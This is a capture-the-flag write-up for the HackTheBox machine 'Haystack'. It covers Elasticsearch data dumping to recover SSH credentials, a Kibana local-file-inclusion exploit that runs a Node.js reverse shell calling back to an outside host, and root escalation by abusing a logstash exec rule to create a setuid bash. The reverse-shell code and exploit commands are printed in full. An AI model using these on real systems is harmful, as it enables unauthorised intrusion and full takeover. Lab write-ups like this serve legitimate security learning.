Haystack @ HackTheBox
Haystack is a 20 points machine on hackthebox, which in my opinion is not as easy as one might think. It involves some typical ctf steps for user and a nice privilege escalation which requires abusing a LFI in a locally listening kibana instance. The final step is about abusing logstash in order to escalate to root.
User
The initial port scan shows the following open ports:
1
2
3
4
5
6
7
Nmap scan report for haystack (10.10.10.115)
Host is up (0.73s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9200/tcp open wap-wsp
On port 80 we find a picture. We grab it and run strings on it, revealing a base64 string:
1
2
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
la aguja en el pajar es "clave"
We now focus on tcp port 9200, where a elastic search instance is running. To get to the data we first need to list the indexes, under which it is stored:
1
2
3
4
5
6
7
8
http://10.10.10.115:9200/_cat/indices?v
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .monitoring-es-6-2019.06.30 0MWTVUh7RsSjWJEBtu-7PQ 1 0 152 46 166.5kb 166.5kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
green open .monitoring-kibana-6-2019.06.30 yo2RvTi9SAC_uCDqRyYCnw 1 0 12 0 45.6kb 45.6kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
Now we can use elasticdump to dump the contents:
1
2
3
4
5
6
7
8
9
elasticdump \
--input=http://10.10.10.115:9200/bank \
--output=bank.json \
--type=data
elasticdump \
--input=http://10.10.10.115:9200/quotes \
--output=quotes.json \
--type=data
Grepping the “quotes.json” for “clave” gets us two other base64 strings:
1
2
3
4
5
cGFzczogc3BhbmlzaC5pcy5rZXk=
pass: spanish.is.key
dXNlcjogc2VjdXJpdHkg
user: security
With these credentials we can log into the box via ssh and grab the user flag.
Root
We run ss -tulpen
and see the following open ports:
1
2
3
4
5
6
7
8
9
10
11
12
Netid State Recv-Q Send-Q Local Address:Port
udp UNCONN 0 0 127.0.0.1:323
udp UNCONN 0 0 ::1:323
tcp LISTEN 0 128 *:80
tcp LISTEN 0 128 *:9200
tcp LISTEN 0 128 *:22
tcp LISTEN 0 128 127.0.0.1:5601
tcp LISTEN 0 128 ::ffff:127.0.0.1:9000
tcp LISTEN 0 128 :::80
tcp LISTEN 0 128 ::ffff:127.0.0.1:9300
tcp LISTEN 0 128 :::22
tcp LISTEN 0 50 ::ffff:127.0.0.1:9600
On port 5601 there is a kibana instance listening. In order to reach it we use dynamic port forwarding ssh -D9090 security@haystack
, resulting in a socks proxy which we set in burp, allowing us to connect to the target site with firefox. After exploring the application a bit and searching for publicly known vulnerabilities we find this exploit.
We place the following shell from the github repository in /tmp:
1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8000, "10.10.14.8", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
Then run the LFI query to trigger the shell:
1
GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/xct.js
We saw earlier that the logstash application is running as root, so we explore how this one works. Looking at its config folder we see the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ls /etc/logstash/conf.d
filter.conf
input.conf
output.conf
cat /etc/logstash/conf.d/input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
cat /etc/logstash/conf.d/output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
cat /etc/logstash/conf.d/filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
In “input.conf” we see that a file that is named “logstash_any” will be used as a input for “execute” every 10 seconds. In “filter.conf” we see that “execute” will try to match a regex, that if successful leads to the execution of the command (as root because logstash is running as root). We create the required file with the following commands:
1
2
echo "Ejecutar comando: cp /bin/bash /bin/xbash" > logstash_xct
echo "Ejecutar comando: chmod u+s /bin/xbash" >> logstash_xct
After waiting a moment we can call xbash -p
and get a root shell (remember if you use this your first task as root should be to delete xbash). Thanks to jkr for this nice little bash trick and congrats for the system blood on this box!